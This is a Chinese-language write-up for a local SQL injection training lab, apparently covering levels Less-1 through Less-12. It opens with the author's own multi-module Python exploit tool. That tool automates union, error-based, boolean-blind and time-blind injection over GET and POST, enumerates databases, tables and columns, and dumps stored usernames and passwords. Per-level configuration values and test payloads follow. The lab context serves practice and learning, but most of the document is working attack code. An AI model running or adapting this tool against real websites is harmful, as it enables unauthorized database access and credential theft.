Exp
因为不想一直反复地去改脚本,因此直接写了一个对于这个靶场来说比较健全的脚本。不算好用,但是自己用用也还行(毕竟只花了两天不到就写完了……)
from lxml import etree # type: ignoreimport requestsimport logging
def parse(text, rule): try: html = etree.HTML(text) result = html.xpath(rule) if result: return result logging.warning("解析后内容为空...") except Exception as e: logging.exception("在解析时发生错误...")
def scrape_get(url, param): try: response = requests.get(url, params=param) if response.status_code == 200: return response.text logging.error(f"访问 {url} 时发生错误,返回的状态码为 {response.status_code} ...") except requests.RequestException: logging.error(f"无法访问 {url} ...") except Exception as e: logging.exception(f"发生未知错误...")
def scrape_post(url, data): try: response = requests.post(url, data=data) if response.status_code == 200: return response.text logging.error(f"访问 {url} 时发生错误,返回的状态码为 {response.status_code} ...") except requests.RequestException: logging.error(f"无法访问 {url} ...") except Exception as e: logging.exception(f"发生未知错误...")
def get(url, rule, param=None): response = scrape_get(url, param) if response: result = parse(response, rule) return result
def post(url, rule, data=None): response = scrape_post(url, data) if response: result = parse(response, rule) return resultimport requestsimport loggingimport time
def get(url, param): start = time.time() try: response = requests.get(url, params=param) if response.status_code == 200: end = time.time() return end - start logging.error(f"访问 {url} 时发生错误,返回的状态码为 {response.status_code} ...") except requests.RequestException: logging.error(f"无法访问 {url} ...") except Exception as e: logging.exception(f"发生未知错误...")
def post(url, data): start = time.time() try: response = requests.post(url, data=data) if response.status_code == 200: end = time.time() return end - start logging.error(f"访问 {url} 时发生错误,返回的状态码为 {response.status_code} ...") except requests.RequestException: logging.error(f"无法访问 {url} ...") except Exception as e: logging.exception(f"发生未知错误...")import logging
import request
def get(url, symbol, rule): logging.info(f"开始对 {url} 进行注入...") param = { "id": f"""-1{symbol} UNION SELECT 1,database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- """ } logging.info(f"第一次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: db_name = response[0].split(':')[1] tb_list = response[1].split(':')[1].split(',') except Exception as e: logging.exception("第一次注入语句出现错误...") return response print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None param = { "id": f"""-1{symbol} UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'-- """ } logging.info(f"第二次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: col_list = response[0].split(':')[1].split(',') except Exception as e: logging.exception("第二次注入语句出现错误...") return response print("[+] 发现数据列:", col_list) col_name_1 = col_list[1] col_name_2 = col_list[2] param = { "id": f"""-1{symbol} UNION SELECT 1,group_concat({col_name_1}),group_concat({col_name_2}) FROM {db_name}.{tb_name}-- """ } logging.info(f"第三次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: username = response[0].split(':')[1].split(',') password = response[1].split(':')[1].split(',') except Exception as e: logging.exception("第三次注入语句出现错误...") return response return username, password
def post(url, symbol, rule): logging.info(f"开始对 {url} 进行注入...") data = { "uname": f"""-1{symbol} UNION SELECT database(),group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#""", "passwd": "" } logging.info(f"第一次注入内容为 {data['uname']}...") response = request.post(url, rule, data) if response == None: logging.error(f"出现错误...") return None try: db_name = response[0].split(':')[1] tb_list = response[1].split(':')[1].split(',') except Exception as e: logging.exception("第一次注入语句出现错误...") return response print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None data = { "uname": f"""-1{symbol} UNION SELECT group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'#""", "passwd": "" } logging.info(f"第二次注入内容为 {data['uname']}...") response = request.post(url, rule, data) if response == None: logging.error(f"出现错误...") return None try: col_list = response[0].split(':')[1].split(',') except Exception as e: logging.exception("第二次注入语句出现错误...") return response print("[+] 发现数据列:", col_list) col_name_1 = col_list[1] col_name_2 = col_list[2] data = { "uname": f"""-1{symbol} UNION SELECT group_concat({col_name_1}),group_concat({col_name_2}) FROM {db_name}.{tb_name}#""", "passwd": "" } logging.info(f"第三次注入内容为 {data['uname']}...") response = request.post(url, rule, data) if response == None: logging.error(f"出现错误...") return None try: username = response[0].split(':')[1].split(',') password = response[1].split(':')[1].split(',') except Exception as e: logging.exception("第三次注入语句出现错误...") return response return username, passwordimport logging
import request
def get(url, symbol, rule): logging.info(f"开始对 {url} 进行注入...") param = { "id": f"""-1{symbol} or updatexml(1,concat(0x7e,database(),0x7e),1)-- """ } logging.info(f"第一次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: db_name = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第一次注入语句出现错误...") return response param = { "id": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'),0x7e),1)-- """ } logging.info(f"第二次注入内容为 {param['id']} ...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: tb_list = response[0].split(':')[1][3:-2].split(',') except Exception as e: logging.exception("第二次注入语句出现错误...") return response print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None param = { "id": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'),0x7e),1)-- """ } logging.info(f"第三次注入内容为 {param['id']}...") response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: col_list = response[0].split(':')[1][3:-2].split(',') except Exception as e: logging.exception("第三次注入语句出现错误...") return response print("[+] 发现数据列:", col_list) col_name_1 = col_list[1] logging.info(f"开始第四次注入...") p = 1 tmp = "1" username = "" while tmp: param = { "id": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_1}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)-- """ } response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: tmp = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第四次注入语句出现错误...") return response username += tmp p += 30 username = username.split(',') col_name_2 = col_list[2] logging.info("开始第五次注入...") p = 1 tmp = "1" password = "" while tmp: param = { "id": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_2}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)-- """ } response = request.get(url, rule, param) if response == None: logging.error(f"出现错误...") return None try: tmp = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第五次注入语句出现错误...") return response password += tmp p += 30 password = password.split(',') return username, password
def post(url, symbol, rule): logging.info(f"开始对 {url} 进行注入...") data = { "uname": f"""-1{symbol} or updatexml(1,concat(0x7e,database(),0x7e),1)#""", "passwd": "" } logging.info(f"第一次注入内容为 {data['uname']}...") response = request.post(url, rule, data) if response == None: logging.error(f"出现错误...") return None try: db_name = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第一次注入语句出现错误...") return response data = { "uname": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='{db_name}'),0x7e),1)#""", "passwd": "" } logging.info(f"第二次注入内容为 {data['uname']} ...") response = request.post(url, rule, data) if response == None: logging.error(f"出现错误...") return None try: tb_list = response[0].split(':')[1][3:-2].split(',') except Exception as e: logging.exception("第二次注入语句出现错误...") return response print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None data = { "uname": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}'),0x7e),1)#""", "passwd": "" } logging.info(f"第三次注入内容为 {data['uname']}...") response = request.post(url, rule, data) if response == None: logging.error(f"出现错误...") return None try: col_list = response[0].split(':')[1][3:-2].split(',') except Exception as e: logging.exception("第三次注入语句出现错误...") return response print("[+] 发现数据列:", col_list) col_name_1 = col_list[1] logging.info("开始第四次注入...") p = 1 tmp = "1" username = "" while tmp: data = { "uname": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_1}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)#""", "passwd": "" } response = request.post(url, rule, data) if response == None: logging.error(f"出现错误...") return None try: tmp = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第四次注入语句出现错误...") return response username += tmp p += 30 username = username.split(',') col_name_2 = col_list[2] logging.info("开始第五次注入...") p = 1 tmp = "1" password = "" while tmp: data = { "uname": f"""-1{symbol} or updatexml(1,concat(0x7e,(SELECT mid(group_concat({col_name_2}),{p},{p+29}) FROM {db_name}.{tb_name}),0x7e),1)#""", "passwd": "" } response = request.post(url, rule, data) if response == None: logging.error(f"出现错误...") return None try: tmp = response[0].split(':')[1][3:-2] except Exception as e: logging.exception("第五次注入语句出现错误...") return response password += tmp p += 30 password = password.split(',') return username, passwordimport logging
import request
def get_length(type): # 爆破长度 length = 1 param = { "id": f"""-1{SYMBOL} or length({type})={length}-- """ } response = request.get(URL, RULE, param) while response != result: length += 1 param = { "id": f"""-1{SYMBOL} or length({type})={length}-- """ } response = request.get(URL, RULE, param) return length
def get_num(type): # 爆破数量 num = 1 param = { "id": f"""-1{SYMBOL} or {type}={num}-- """ } response = request.get(URL, RULE, param) while response != result: num += 1 param = { "id": f"""-1{SYMBOL} or {type}={num}-- """ } response = request.get(URL, RULE, param) return num
def get_name(length, type): # 爆破名称 a = { "digit": (48, 57), "upper": (65, 90), "lower": (97, 122) } name = "" for pos in range(1, length + 1): char_type = None param = { "id": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=57-- """ } response = request.get(URL, RULE, param=param) if response == result: char_type = "digit" else: param = { "id": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=90-- """ } response = request.get(URL, RULE, param) if response == result: char_type = "upper" else: char_type = "lower"
low, high = a[char_type] while low <= high: mid = (low + high) // 2 param = { "id": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))={mid}-- """ } response = request.get(URL, RULE, param) if response == result: name += chr(mid) break param = { "id": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<{mid}-- """ } response = request.get(URL, RULE, param) if response == result: high = mid - 1 else: low = mid + 1 return name
def get(url, symbol, rule): global URL, SYMBOL, RULE URL = url SYMBOL = symbol RULE = rule
logging.info(f"开始对 {url} 进行注入...")
global result param = { "id": f"-1{SYMBOL} or 1=1-- " } result = request.get(URL, RULE, param)
logging.info("爆破数据库名...") type = """database()""" db_length = get_length(type) db_name = get_name(db_length, type) logging.info("成功获取数据库名...") print("[+] 成功获取数据库名:", db_name) logging.info(f"开始爆破 {db_name} 库的数据表...") type = f"""(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}')""" tb_num = get_num(type) tb_list = [] for i in range(tb_num): type = f"""(SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {i},1)""" length = get_length(type) tb_name = get_name(length, type) tb_list.append(tb_name) logging.info("成功获取所有数据表名...") print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None logging.info(f"开始爆破 {tb_name} 的数据列...") type = f"""(SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}')""" col_num = get_num(type) col_list = [] for i in range(col_num): type = f"""(SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}' LIMIT {i},1)""" length = get_length(type) col_name = get_name(length, type) col_list.append(col_name) logging.info("成功获取所有数据列名...") print("[+] 发现数据列:", col_list) while True: col_index = input("[*] 请输入想要获取详细信息的数据列的索引:") try: col_name = col_list[int(col_index)] print(f"[+] 已选择数据列: {col_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(col_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None logging.info(f"开始爆破 {col_name} 列的值...") type = f"""(SELECT COUNT(*) FROM {db_name}.{tb_name})""" value_num = get_num(type) value_list = [] for i in range(value_num): type = f"""(SELECT {col_name} FROM {db_name}.{tb_name} LIMIT {i},1)""" length = get_length(type) value = get_name(length, type) value_list.append(value) return value_list
def post_length(type): # 爆破长度 length = 1 data = { "uname": f"""-1{SYMBOL} or length({type})={length}#""", "passwd": "" } response = request.post(URL, RULE, data) while response != result: length += 1 data = { "uname": f"""-1{SYMBOL} or length({type})={length}#""", "passwd": "" } response = request.post(URL, RULE, data) return length
def post_num(type): # 爆破数量 num = 1 data = { "uname": f"""-1{SYMBOL} or {type}={num}#""", "passwd": "" } response = request.post(URL, RULE, data) while response != result: num += 1 data = { "uname": f"""-1{SYMBOL} or {type}={num}#""", "passwd": "" } response = request.post(URL, RULE, data) return num
def post_name(length, type): # 爆破名称 a = { "digit": (48, 57), "upper": (65, 90), "lower": (97, 122) } name = "" for pos in range(1, length + 1): char_type = None data = { "uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=57#""", "passwd": "" } response = request.post(URL, RULE, data=data) if response == result: char_type = "digit" else: data = { "uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=90#""", "passwd": "" } response = request.post(URL, RULE, data) if response == result: char_type = "upper" else: char_type = "lower"
low, high = a[char_type] while low <= high: mid = (low + high) // 2 data = { "uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))={mid}#""", "passwd": "" } response = request.post(URL, RULE, data) if response == result: name += chr(mid) break data = { "uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<{mid}#""", "passwd": "" } response = request.post(URL, RULE, data) if response == result: high = mid - 1 else: low = mid + 1 return name
def post(url, symbol, rule): global URL, SYMBOL, RULE URL = url SYMBOL = symbol RULE = rule
logging.info(f"开始对 {url} 进行注入...")
global result data = { "uname": f"1{SYMBOL} or 1=1#", "passwd": "" } result = request.post(URL, RULE, data)
logging.info("爆破数据库名...") type = """database()""" db_length = post_length(type) db_name = post_name(db_length, type) logging.info("成功获取数据库名...") print("[+] 成功获取数据库名:", db_name) logging.info(f"开始爆破 {db_name} 库的数据表...") type = f"""(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}')""" tb_num = post_num(type) tb_list = [] for i in range(tb_num): type = f"""(SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {i},1)""" length = post_length(type) tb_name = post_name(length, type) tb_list.append(tb_name) logging.info("成功获取所有数据表名...") print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None logging.info(f"开始爆破 {tb_name} 的数据列...") type = f"""(SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}')""" col_num = post_num(type) col_list = [] for i in range(col_num): type = f"""(SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}' LIMIT {i},1)""" length = post_length(type) col_name = post_name(length, type) col_list.append(col_name) logging.info("成功获取所有数据列名...") print("[+] 发现数据列:", col_list) while True: col_index = input("[*] 请输入想要获取详细信息的数据列的索引:") try: col_name = col_list[int(col_index)] print(f"[+] 已选择数据列: {col_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(col_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None logging.info(f"开始爆破 {col_name} 列的值...") type = f"""(SELECT COUNT(*) FROM {db_name}.{tb_name})""" value_num = post_num(type) value_list = [] for i in range(value_num): type = f"""(SELECT {col_name} FROM {db_name}.{tb_name} LIMIT {i},1)""" length = post_length(type) value = post_name(length, type) value_list.append(value) return value_listimport logging
import RequestTime
def get_length(type): # 爆破长度 length = 1 param = { "id": f"""-1{SYMBOL} or if((length({type})={length}),sleep(2),1)-- """ } response = RequestTime.get(URL, param) or 2 while response < 2: length += 1 param = { "id": f"""-1{SYMBOL} or if((length({type})={length}),sleep(2),1)-- """ } response = RequestTime.get(URL, param) or 2 return length
def get_num(type): # 爆破数量 num = 1 param = { "id": f"""-1{SYMBOL} or if(({type}={num}),sleep(2),1)-- """ } response = RequestTime.get(URL, param) or 2 while response < 2: num += 1 param = { "id": f"""-1{SYMBOL} or if(({type}={num}),sleep(2),1)-- """ } response = RequestTime.get(URL, param) or 2 return num
def get_name(length, type): # 爆破名称 a = { "digit": (48, 57), "upper": (65, 90), "lower": (97, 122) } name = "" for pos in range(1, length + 1): char_type = None param = { "id": f"""-1{SYMBOL} or if((ascii(substring({type},{pos},1))<=57),sleep(2),1)-- """ } response = RequestTime.get(URL, param=param) or 2 if response >= 2: char_type = "digit" else: param = { "id": f"""-1{SYMBOL} or if((ascii(substring({type},{pos},1))<=90),sleep(2),1)-- """ } response = RequestTime.get(URL, param) or 2 if response >= 2: char_type = "upper" else: char_type = "lower"
low, high = a[char_type] while low <= high: mid = (low + high) // 2 param = { "id": f"""-1{SYMBOL} or if((ascii(substring({type},{pos},1))={mid}),sleep(2),1)-- """ } response = RequestTime.get(URL, param) or 2 if response >= 2: name += chr(mid) break param = { "id": f"""-1{SYMBOL} or if((ascii(substring({type},{pos},1))<{mid}),sleep(2),1)-- """ } response = RequestTime.get(URL, param) or 2 if response >= 2: high = mid - 1 else: low = mid + 1 return name
def get(url, symbol): global URL, SYMBOL URL = url SYMBOL = symbol
logging.info(f"开始对 {url} 进行注入...") logging.info("爆破数据库名...") type = """database()""" db_length = get_length(type) db_name = get_name(db_length, type) logging.info("成功获取数据库名...") print("[+] 成功获取数据库名:", db_name) logging.info(f"开始爆破 {db_name} 库的数据表...") type = f"""(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}')""" tb_num = get_num(type) tb_list = [] for i in range(tb_num): type = f"""(SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {i},1)""" length = get_length(type) tb_name = get_name(length, type) tb_list.append(tb_name) logging.info("成功获取所有数据表名...") print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None logging.info(f"开始爆破 {tb_name} 的数据列...") type = f"""(SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}')""" col_num = get_num(type) col_list = [] for i in range(col_num): type = f"""(SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}' LIMIT {i},1)""" length = get_length(type) col_name = get_name(length, type) col_list.append(col_name) logging.info("成功获取所有数据列名...") print("[+] 发现数据列:", col_list) while True: col_index = input("[*] 请输入想要获取详细信息的数据列的索引:") try: col_name = col_list[int(col_index)] print(f"[+] 已选择数据列: {col_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(col_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None logging.info(f"开始爆破 {col_name} 列的值...") type = f"""(SELECT COUNT(*) FROM {db_name}.{tb_name})""" value_num = get_num(type) value_list = [] for i in range(value_num): type = f"""(SELECT {col_name} FROM {db_name}.{tb_name} LIMIT {i},1)""" length = get_length(type) value = get_name(length, type) value_list.append(value) return value_list
def post_length(type): # 爆破长度 length = 1 data = { "uname": f"""-1{SYMBOL} or length({type})={length}#""", "passwd": "" } response = RequestTime.post(URL, data) or 2 while response < 2: length += 1 data = { "uname": f"""-1{SYMBOL} or length({type})={length}#""", "passwd": "" } response = RequestTime.post(URL, data) or 2 return length
def post_num(type): # 爆破数量 num = 1 data = { "uname": f"""-1{SYMBOL} or {type}={num}#""", "passwd": "" } response = RequestTime.post(URL, data) or 2 while response < 2: num += 1 data = { "uname": f"""-1{SYMBOL} or {type}={num}#""", "passwd": "" } response = RequestTime.post(URL, data) or 2 return num
def post_name(length, type): # 爆破名称 a = { "digit": (48, 57), "upper": (65, 90), "lower": (97, 122) } name = "" for pos in range(1, length + 1): char_type = None data = { "uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=57#""", "passwd": "" } response = RequestTime.post(URL, data=data) or 2 if response >= 2: char_type = "digit" else: data = { "uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<=90#""", "passwd": "" } response = RequestTime.post(URL, data) or 2 if response >= 2: char_type = "upper" else: char_type = "lower"
low, high = a[char_type] while low <= high: mid = (low + high) // 2 data = { "uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))={mid}#""", "passwd": "" } response = RequestTime.post(URL, data) or 2 if response >= 2: name += chr(mid) break data = { "uname": f"""-1{SYMBOL} or ascii(substring({type},{pos},1))<{mid}#""", "passwd": "" } response = RequestTime.post(URL, data) or 2 if response >= 2: high = mid - 1 else: low = mid + 1 return name
def post(url, symbol): global URL, SYMBOL URL = url SYMBOL = symbol
logging.info(f"开始对 {url} 进行注入...") logging.info("爆破数据库名...") type = """database()""" db_length = post_length(type) db_name = post_name(db_length, type) logging.info("成功获取数据库名...") print("[+] 成功获取数据库名:", db_name) logging.info(f"开始爆破 {db_name} 库的数据表...") type = f"""(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}')""" tb_num = post_num(type) tb_list = [] for i in range(tb_num): type = f"""(SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {i},1)""" length = post_length(type) tb_name = post_name(length, type) tb_list.append(tb_name) logging.info("成功获取所有数据表名...") print("[+] 发现数据表:", tb_list) while True: tb_index = input("[*] 请输入想要获取详细信息的数据表的索引:") try: tb_name = tb_list[int(tb_index)] print(f"[+] 已选择数据表: {tb_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tb_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None logging.info(f"开始爆破 {tb_name} 的数据列...") type = f"""(SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}')""" col_num = post_num(type) col_list = [] for i in range(col_num): type = f"""(SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{tb_name}' LIMIT {i},1)""" length = post_length(type) col_name = post_name(length, type) col_list.append(col_name) logging.info("成功获取所有数据列名...") print("[+] 发现数据列:", col_list) while True: col_index = input("[*] 请输入想要获取详细信息的数据列的索引:") try: col_name = col_list[int(col_index)] print(f"[+] 已选择数据列: {col_name}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(col_list) - 1} 之间的数字...") except Exception: print("[-] 发生未知错误,请重试...") return None logging.info(f"开始爆破 {col_name} 列的值...") type = f"""(SELECT COUNT(*) FROM {db_name}.{tb_name})""" value_num = post_num(type) value_list = [] for i in range(value_num): type = f"""(SELECT {col_name} FROM {db_name}.{tb_name} LIMIT {i},1)""" length = post_length(type) value = post_name(length, type) value_list.append(value) return value_listimport logging
import UnionInjectimport BoolInjectimport TimeInjectimport ErrorInjectimport Config
logging.basicConfig( filename="python/SQL注入/Log/main.log", filemode="a", format="%(asctime)s - %(levelname)s - %(message)s", level=logging.INFO, encoding="UTF-8")
def main(tool, method): match tool: case "Union": if method == "GET": username, password = UnionInject.get(URL, SYMBOL, RULE) or (None, None) print("") print("[+] 获取的数据库中的用户名为:") print(username) print("") print("[+] 获取的数据库中的密码为:") print(password) else: username, password = UnionInject.post(URL, SYMBOL, RULE) or (None, None) print("") print("[+] 获取的数据库中的用户名为:") print(username) print("") print("[+] 获取的数据库中的密码为:") print(password) case "Error": if method == "GET": username, password = ErrorInject.get(URL, SYMBOL, RULE) or (None, None) print("") print("[+] 获取的数据库中的用户名为:") print(username) print("") print("[+] 获取的数据库中的密码为:") print(password) else: username, password = ErrorInject.post(URL, SYMBOL, RULE) or (None, None) print("") print("[+] 获取的数据库中的用户名为:") print(username) print("") print("[+] 获取的数据库中的密码为:") print(password) case "Bool": if method == "GET": result = BoolInject.get(URL, SYMBOL, RULE) print("") print("[+] 你想要获取的信息为:") print(result) else: result = BoolInject.post(URL, SYMBOL, RULE) print("") print("[+] 你想要获取的信息为:") print(result) case "Time": if method == "GET": result = TimeInject.get(URL, SYMBOL) print("[+] 你想要获取的信息为:") print(result) else: result = TimeInject.post(URL, SYMBOL) print("[+] 你想要获取的信息为:") print(result)
if __name__ == "__main__": URL = Config.URL RULE = Config.RULE SYMBOL = Config.SYMBOL
tool = ["Union", "Error", "Bool", "Time"] print("[*] 可选择的操作:", tool) index = input("[*] 请输入想要进行的操作的索引:") while True: try: tool = tool[int(index)] print(f"[+] 已选择数据表: {tool}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(tool) - 1} 之间的数字...")
method = ["GET", "POST"] print("[*] 可选择的方法:", method) index = input("[*] 请输入想要进行的操作的索引:") while True: try: method = method[int(index)] print(f"[+] 已选择数据表: {method}") break except ValueError: print("[-] 输入无效!请输入数字格式的索引...") except IndexError: print(f"[-] 索引越界!请输入 0 到 {len(method) - 1} 之间的数字...")
main(tool, method)使用也比较简单吧……先去 Config.py 中修改 URL、SYMBOL 和 RULE,然后在终端中选择合适的注入方式与请求方式就行了。
因为不太会用 sys 库接收参数,所以选择了这样一个在 Config.py 中统一修改参数的方式。至于优化,以后再说吧……
有了这个 Exp,通关靶场前 16 关非常 ez,所以我的 wp 也就快速略过了
Less-1
先测试:传入 id=1'
单引号闭合。再传入 id=1,得到数据解析的 Xpath 规则:

接下来,在脚本中修改:
URL = "http://127.0.0.1/sql/Less-1/"RULE = "/html/body/div/font[2]/font/text()"SYMBOL = "\'"通过刚刚的观察,我们发现服务器会回显内容,也会回显错误,因此注入方法可以选择联合注入,也可以选择报错注入。当然,不追求时间的话,什么条件下都可以选择时间盲注
运行脚本,获得信息:

Less-2
直接修改 Config.py
URL = "http://127.0.0.1/sql/Less-2/"RULE = "/html/body/div/font[2]/font/text()"SYMBOL = ""
Less-3
依旧修改 Config.py
URL = "http://127.0.0.1/sql/Less-3/"RULE = "/html/body/div/font[2]/font/text()"SYMBOL = "\')"
Less-4
修改 Config.py
URL = "http://127.0.0.1/sql/Less-4/"RULE = "/html/body/div/font[2]/font/text()"SYMBOL = "\")"
Less-5
修改 Config.py
URL = "http://127.0.0.1/sql/Less-5/"RULE = "/html/body/div/font[2]/font/text()"SYMBOL = "\'"有具体的报错信息,因此可以选择报错注入;同样有正确与否的回显,因此可以选择布尔盲注。当然,也可以选择时间盲注

Less-6
修改 Config.py
URL = "http://127.0.0.1/sql/Less-6/"RULE = "/html/body/div/font[2]/font/text()"SYMBOL = "\""
Less-7
修改 Config.py
URL = "http://127.0.0.1/sql/Less-7/"RULE = "/html/body/div/font[2]/font/text()"SYMBOL = "\'))"没有详细的报错信息了,因此只能选择布尔盲注或者时间盲注

Less-8
修改 Config.py
URL = "http://127.0.0.1/sql/Less-8/"RULE = "/html/body/div/font[2]/font/text()"SYMBOL = "\'"
Less-9
无论怎样修改页面都不会改变了,因此只能使用时间盲注了。先注入:
id=-1' or if(1=1,sleep(2),1)--+发现页面卡顿了很久,因此使用的是单引号闭合
修改 Config.py
URL = "http://127.0.0.1/sql/Less-9/"RULE = "/html/body/div/font[2]/font/text()"SYMBOL = "\'"Less-10
依旧时间盲注。修改 Config.py
URL = "http://127.0.0.1/sql/Less-10/"RULE = "/html/body/div/font[2]/font/text()"SYMBOL = "\""Less-11
变成 POST 表单的形式了

尝试在 uname 字段注入

行,直接用脚本。修改 Config.py
URL = "http://127.0.0.1/sql/Less-11/"RULE = "/html/body/div[3]/font/font/font/text()"SYMBOL = "\'"成功获取信息

Less-12
修改 Config.py
